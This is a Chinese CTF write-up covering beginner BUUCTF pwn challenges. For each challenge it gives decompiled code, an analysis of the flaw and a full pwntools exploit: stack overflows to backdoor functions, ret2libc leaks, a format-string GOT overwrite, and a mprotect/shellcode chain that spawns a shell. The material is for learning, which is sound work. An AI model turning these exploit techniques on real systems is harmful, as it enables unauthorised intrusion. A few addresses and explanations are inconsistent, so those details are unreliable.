test_your_nc
人如其名,直接 nc 连接即可。
rip
Checksec & IDA
裸奔的64位ELF,使用IDA查看反汇编代码。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF
puts("please input");
gets(s, argv); // gets 函数不会检查用户输入的字符串的大小、长度 是最容易发生栈溢出的地方
// 本题中栈溢出漏洞就位于此处
puts(s);
puts("ok,bye!!!");
return 0;
}
int fun()
{
return system("/bin/sh"); // 后门命令,我们可以直接调用
}
EXP:
s 的大小为 0x0F ,所以我们构造的Payload是这样的:
Payload = b'A' * ( 0x0F + 0x08 ) + p64(0x40117)
0x0F + 0x08 代表 s 的大小加上8字节大小的rbp。
0x40117是 fun 函数中的命令开始的地址:
完整EXP:
from pwn import *
#io = process("/home/Kaguya/桌面/Resolve/pwn1")
io = remote("node4.buuoj.cn",26636)
context.log_level = 'debug'
Payload = b'A' * ( 0x0F + 0x08 ) + p64(0x401187)
io.sendline(Payload)
io.interactive()
warmup_csaw_2016
Checksec & IDA
也是裸奔的程序。
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[64]; // [rsp+0h] [rbp-80h] BYREF
char v5[64]; // [rsp+40h] [rbp-40h] BYREF
write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(s, "%p\n", sub_40060D);
write(1, s, 9uLL);
write(1, ">", 1uLL);
return gets(v5); // 漏洞同上
}
int sub_40060D()
{
return system("cat flag.txt");
}
EXP:
思路同上
from pwn import *
#io = process("/home/Kaguya/桌面/Resolve/warmup_csaw_2016")
io = remote("node4.buuoj.cn",27270)
context.log_level = 'debug'
Payload = b'A' * ( 0x40 + 0x08 )
Payload += p64(0x40060E)
io.sendline(Payload)
io.interactive()
0x40060E
ciscn_2019_n_1
Checksec & IDA
NX 栈不可执行
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
func();
return 0;
}
int func()
{
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}
思路很简单,直接溢出v1变量即可。
from pwn import *
#io = process("/home/Kaguya/桌面/Resolve/ciscn_2019_n_1")
io = remote("node4.buuoj.cn",27270)
context.log_level = 'debug'
Payload = b'A' * ( 0x30 + 0x08 )
Payload += p64(0x4006BE)
io.sendline(Payload)
io.interactive()
0x4006BE
pwn1_sctf_2016
Checksec & IDA
NX 栈不可执行
int __cdecl main(int argc, const char **argv, const char **envp)
{
vuln();
return 0;
}
int vuln()
{
const char *v0; // eax
char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
char v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
char v4[7]; // [esp+40h] [ebp-18h] BYREF
char v5; // [esp+47h] [ebp-11h] BYREF
char v6[7]; // [esp+48h] [ebp-10h] BYREF
char v7[5]; // [esp+4Fh] [ebp-9h] BYREF
printf("Tell me something about yourself: ");
fgets(s, 32, edata);
std::string::operator=(&input, s);
std::allocator<char>::allocator(&v5);
std::string::string(v4, "you", &v5);
std::allocator<char>::allocator(v7);
std::string::string(v6, "I", v7);
replace((std::string *)v3);
std::string::operator=(&input, v3, v6, v4);
std::string::~string(v3);
std::string::~string(v6);
std::allocator<char>::~allocator(v7);
std::string::~string(v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(s, v0);
return printf("So, %s\n", s);
}
int get_flag()
{
return system("cat flag.txt");
}
EXP:
可见 vuln 函数的作用是把I替换成you。
而本题不存在 gets 这种十分容易溢出的函数,但是我们发现存在 fgets。
fgets(s, 32, edata);
也就是说,我们最多输入32个字节的东西,根据上文,我们可以输入32个I,这样就是32个you,也就是96个字节。
s 的大小是0x3C,那么我们只需要输入 0x3C,也就是60 / 3 个I即可溢出,之后的内容我们可以就可以构建ROP链。
思路如下:
输入20个I,随后紧接着后门地址即可获取shell。
完整EXP:
from pwn import *
#io = process("/home/Kaguya/桌面/Resolve/pwn1_sctf_2016")
io = remote("node4.buuoj.cn",25299)
context.log_level = 'debug'
Payload = b'I' * 20
Payload += b'A' * 4
Payload += p32(0x8048F13)
io.sendline(Payload)
io.interactive()
0x8048F13
jarvisoj_level0
Checksec & IDA
NX 栈不可执行
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function(1LL);
}
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
return read(0, buf, 0x200uLL);
}
int callsystem()
{
return system("/bin/sh");
}
EXP:
溢出点位于vulnerable_function中的read函数。
read函数不会检查输入的数据多少,只会检查输入的数据长度,因此也是一个经常出现的栈溢出漏洞原因。
思路和前面几题一样。
from pwn import *
#io = process("/home/Kaguya/桌面/Resolve/level0")
io = remote("node4.buuoj.cn",26873)
context.log_level = 'debug'
Payload = b'A' * ( 0x80 + 0x08 )
Payload += p64(0x40059A)
io.sendline(Payload)
io.interactive()
0x40059A
[第五空间2019 决赛]PWN5
Checksec & IDA
Canary 和 NX
int __cdecl main(int a1)
{
unsigned int v1; // eax
int result; // eax
int fd; // [esp+0h] [ebp-84h]
char nptr[16]; // [esp+4h] [ebp-80h] BYREF
char buf[100]; // [esp+14h] [ebp-70h] BYREF
unsigned int v6; // [esp+78h] [ebp-Ch]
int *v7; // [esp+7Ch] [ebp-8h]
v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &dword_804C044, 4u);
printf("your name:");
read(0, buf, 0x63u);
printf("Hello,");
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu);
if ( atoi(nptr) == dword_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
}
EXP:
详细解法可以看:
BUUCTF [第五空间2019 决赛]PWN5
格式化字符串漏洞,且偏移为10。
简易方法直接使用 fmtstr_payload 进行格式化字符串漏洞利用。
from pwn import *
#io = process("/home/Kaguya/桌面/Resolve/DWKJ-Pwn5")
elf = ELF("/home/Kaguya/桌面/Resolve/DWKJ-Pwn5")
io = remote("node4.buuoj.cn",28599)
context.log_level = 'debug'
atoi_got = elf.got['atoi']
system_plt = elf.plt['system']
Payload=fmtstr_payload(10,{atoi_got:system_plt})
io.recv()
io.sendline(Payload)
io.recv()
io.sendline(b'/bin/sh\x00')
io.interactive()
这里使用fmtstr_payload直接替换 atoi_got 的原因是got表才是程序运行时函数的真正地址,通过替换atoi,修改为system,再送入'/bin/sh\x00' 即可成功getshell。
ciscn_2019_c_1
Check & IDA
只有栈不可执行
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF
init(argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}
int begin()
{
puts("====================================================================");
puts("1.Encrypt");
puts("2.Decrypt");
puts("3.Exit");
return puts("Input your choice!");
}
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]
memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}
大概观察一下,F12中也没有/bin/sh
EXP:
那么基本就是采用ret2libc的方式。
首先我们找到栈溢出漏洞位于哪里
int encrypt()
{
char s[48]; // [rsp+0h] [rbp-50h] BYREF
gets(s);
s的大小在ida中为0x50
GDB调试看看
发现我们的字符串被加密了,不要慌,解决办法很简单
只需要过一遍程序然后将结果丢在记事本中即可
结果是88
puts("Ciphertext");
return puts(s);
C语言中,puts函数会在输出的内容后面自动加入\n,也就是换行符。
因此我们构造泄露的Payload如下:
io.recv()
io.sendline(b'1')
io.recvuntil(b'encrypted\n')
# 缺一不可
# recv()是接收begin()输出的内容
# 1 是用来执行 encrypt() 函数从而触发栈溢出漏洞
# b'encrypted\n' 是直到接收到这一串,也就是encrypt的第一行输出结尾,等待用户输入数据时的提示语。
Payload = b'A' * ( 80 + 0x08 )
# s 大小为 0x50 也就是 80
# 64 位下 rbp 的地址为 8 位。
# 本题 main 函数 Push 了 rbp 所以我们需要覆盖rbp
Payload += p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
# 将 puts_got 的地址写入rdi寄存器中,劫持程序流执行puts函数,然后打印 puts_plt 的地址,最后返回到main函数以便下次攻击。
io.sendline(Payload)
io.recvuntil(b"Ciphertext\n")
# 接收 puts("Ciphertext")
io.recvuntil(b"\n")
# 接收 puts(s)
addr = u64(io.recv(6).ljust(8,b'\x00'))
# 接收泄露的地址,接收6位并将其用\x00填充到8位
接下来都轻车熟路了,根据偏移反推地址
完整Payload如下
from pwn import *
from LibcSearcher import *
#io = process("/home/Kaguya/桌面/Resolve/ciscn_2019_c_1")
elf = ELF("/home/Kaguya/桌面/Resolve/ciscn_2019_c_1")
io = remote("node4.buuoj.cn",28460)
context.log_level = 'debug'
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi = 0x400C83
ret = 0x4006B9
main = elf.sym['main']
io.recv()
io.sendline(b'1')
io.recvuntil(b'encrypted\n')
Payload = b'A' * ( 80 + 0x08 )
Payload += p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendline(Payload)
io.recvuntil(b"Ciphertext\n")
io.recvuntil(b"\n")
addr = u64(io.recv(6).ljust(8,b'\x00'))
log.success("Address: " + hex(addr))
libc = LibcSearcher('puts',addr)
libcbase = addr - libc.dump('puts')
system = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')
Payload_Shell = b'A' * ( 80 + 0x08 )
Payload_Shell += p64(ret) + p64(rdi) + p64(binsh) + p64(system)
# 为什么需要 ret ,是因为需要先将system的地址放入ret中,让程序流返回到system
# 然后将binsh的地址放入rdi寄存器中作为system的第一个参数,即可getshell。
# rdi不会被作为地址,因此这就是为什么ret后面可以跟着rdi而仍旧将system作为返回地址
io.recv()
io.sendline(b'1')
io.recvuntil(b"encrypted\n")
io.sendline(Payload_Shell)
io.interactive()
ciscn_2019_n_8
Check & IDA
除了RELRO都全开,看起来蛮吓人
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]
var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf("%s", var, v4, v5);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 17LL )
system("/bin/sh");
else
printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
}
else
{
printf("%s, Welcome!\n", var);
puts("Try do something~");
}
return 0;
}
EXP:
只要 var[13] = 17 即可getshell
var[13] = 0; //初始化var[13]的值为0
var[14] = 0; //初始化var[14]的值为0
__isoc99_scanf("%s", var, v4, v5); // __isoc99_scanf 没有限制读取的字符串长度,因此漏洞位于此处。
// __isoc99_scanf 的原型是 __isoc99_scanf(const char *format, …) ,v5在此处作为多余参数,用途不明。
// 原型是只有2个变量, %s 代表读取字符串,也就是format,var 代表变量, v4代表一个指向64位整数的指针。
// 本题中,如果只想覆盖 var[13],var[14] 那么不需要动用v4
// 如果我想覆盖任意地址,则需要在中间打一个空格,然后输入一个字符串,字符串可以转换成想覆盖的任意地址。
if ( *(_QWORD *)&var[13] )
// *(_QWORD *)&var[13] 的意思代表 var[13],var[14]所构成的64位整数
,它是一个指针。
// 但是在if中,它需要被解运算,也就是代表从 var[13],var[14]所构成的64位整数 中取出整数与0进行判断,如果大于0,则通过判断。
{
if ( *(_QWORD *)&var[13] == 17LL ) // 从 var[13],var[14]所构成的64位整数 中取出整数与17进行判断,如果等于17,则通过判断。
system("/bin/sh");
绕过很简单,只需要这样即可
Payload = p32(17) * 14
完整EXP如下
from pwn import *
io = process("/home/Kaguya/桌面/Resolve/ciscn_2019_n_8")
#io = remote("node4.buuoj.cn",27270)
context.log_level = 'debug'
Payload = p32(17) * 14
io.sendline(Payload)
io.interactive()
jarvisoj_level2
Checksec & IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF
system("echo Input:");
return read(0, buf, 0x100u);
}
EXP:
不必多说
from pwn import *
#io = process("/home/Kaguya/桌面/Resolve/level2")
io = remote("node4.buuoj.cn",25929)
elf = ELF("/home/Kaguya/桌面/Resolve/level2")
context.log_level = 'debug'
context(arch='i386',os='linux')
system = elf.sym['system']
Payload = b'A' * ( 0x88 + 0x04 )
Payload += p32(system) + p32(0) + p32(0x804A024)
# p32(0) 是重点,是用来平衡栈帧的操作
# system函数的内部实现调用了execve函数
# system函数其实有两个参数,但是第二个默认为Null,也就是空字符
# 因此我们可以传入一个空字符或任意其他字符当作第二个参数来平衡栈帧
io.sendline(Payload)
io.interactive()
bjdctf_2020_babystack
Checksec & IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[12]; // [rsp+0h] [rbp-10h] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
puts("[+]What's u name?");
read(0, buf, (unsigned int)nbytes);
return 0;
}
__int64 backdoor()
{
system("/bin/sh");
return 1LL;
}
EXP:
栈溢出漏洞位于
read(0, buf, (unsigned int)nbytes);
因为 nbytes是一个unsigned int 数,因此我们可以通过输入-1绕过read的检测。
from pwn import *
#io = process("/home/Kaguya/桌面/Resolve/bjdctf_2020_babystack")
io = remote("node4.buuoj.cn",27574)
context.log_level = 'debug'
io.recvuntil(b"name:\n")
io.sendline(b'-1')
io.recvuntil(b"name?\n")
Payload = b'A' * ( 0x10 + 0x08 )
Payload += p64(0x4006E7)
io.sendline(Payload)
io.interactive()
0x4006E7
get_started_3dsctf_2016
Checksec & IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[56]; // [esp+4h] [ebp-38h] BYREF
printf("Qual a palavrinha magica? ", v4[0]);
gets(v4);
return 0;
}
void __cdecl get_flag(int a1, int a2)
{
int v2; // esi
unsigned __int8 v3; // al
int v4; // ecx
unsigned __int8 v5; // al
if ( a1 == 814536271 && a2 == 425138641 )
{
v2 = fopen("flag.txt", "rt");
v3 = getc(v2);
if ( v3 != 255 )
{
v4 = (char)v3;
do
{
putchar(v4);
v5 = getc(v2);
v4 = (char)v5;
}
while ( v5 != 255 );
}
fclose(v2);
}
}
EXP:
显而易见,缓冲区溢出位于
gets(v4);
v4的大小为0x38
这里有两种办法,一种是直接溢出然后通过判断条件最后输出flag。
但是这个办法会出现问题,因为本体没有开启标准输入输出流,需要自己手动调用exit()。
本文不使用本方法,本文使用 mprotect 使bss段可执行构造shellcode getshell。
很简单,mprotect原型如下
int mprotect(void *addr, size_t len, int prot)
addr 内存起始值
len 内存空间大小
prot 内存权限
也就是说 我们需要找到一个 4k对齐 的内存起始值,然后赋予他可执行权限。也就是7 RX。
我们可以发现bss段中存在一个4K对齐的内存段。
因此构造如下Payload:
Payload = b'A' * 0x38
Payload += p32(mprotect) + p32(pop3) + p32(bss_start) + p32(0x1000) + p32(7)
Payload += p32(read) + p32(pop3) + p32(0) + p32(bss_start) + p32(0x1000) + p32(bss_start)
shellcode = asm(shellcraft.sh())
这段Payload分为三部分:
Padding 也就是填充垃圾字符
mprotect函数及其参数
read函数及其参数
为什么要构造这样的Payload呢?我们知道,mprotect可以修改段的权限,那么我们得想一个办法向栈中修改过的内存送入我们的shellcode。
这时候可以用上write或者read。
read的函数原型是这样的:
ssize_t read(int fd, void *buf, size_t count);
fd 文件描述符 0/1/2 标准输入/标准输出/标准错误输出
buf 输出/写入的数据存储的缓冲区指针
count 输出/写入/输出的最大的字节长度
fd 我们填 0,代表标准输入。
buf 也就是需要送入数据的地址,我们填入mprotect修改的地址。
count,我们填入mprotect修改时修改的大小。
这下Payload已经构造完毕,就是shellcode的步骤了。
pwntools内建一个可以直接构建shellcode的函数。
我们使用
context( arch = 'i386' , os = 'linux' )
shellcode = asm(shellcraft.sh())
构造shellcode。
可得出完整EXP:
from pwn import *
#io = process("/home/Kaguya/桌面/Resolve/get_started_3dsctf_2016")
elf = ELF("/home/Kaguya/桌面/Resolve/get_started_3dsctf_2016")
io = remote("node4.buuoj.cn",26283)
context.log_level = 'debug'
context(arch='i386',os='linux')
mprotect = 0x806EC80
read = 0x806E140
pop3 = 0x08063ADB
bss_start = 0x080EC000
Payload = b'A' * 0x38
Payload += p32(mprotect) + p32(pop3) + p32(bss_start) + p32(0x1000) + p32(7)
Payload += p32(read) + p32(pop3) + p32(0) + p32(bss_start) + p32(0x1000) + p32(bss_start)
shellcode = asm(shellcraft.sh())
io.sendline(Payload)
io.sendline(shellcode)
io.interactive()
为什么会用到 pop3呢?
因为我们需要给mprotect函数、read函数传参。
虽然一般情况下32位程序用不着寄存器传参,但是这种情况下用的到。
edi 、 esi 、 ebx 分别是第一、第二、第三参数。
版权归原作者 Red-Leaves 所有, 如有侵权,请联系我们删除。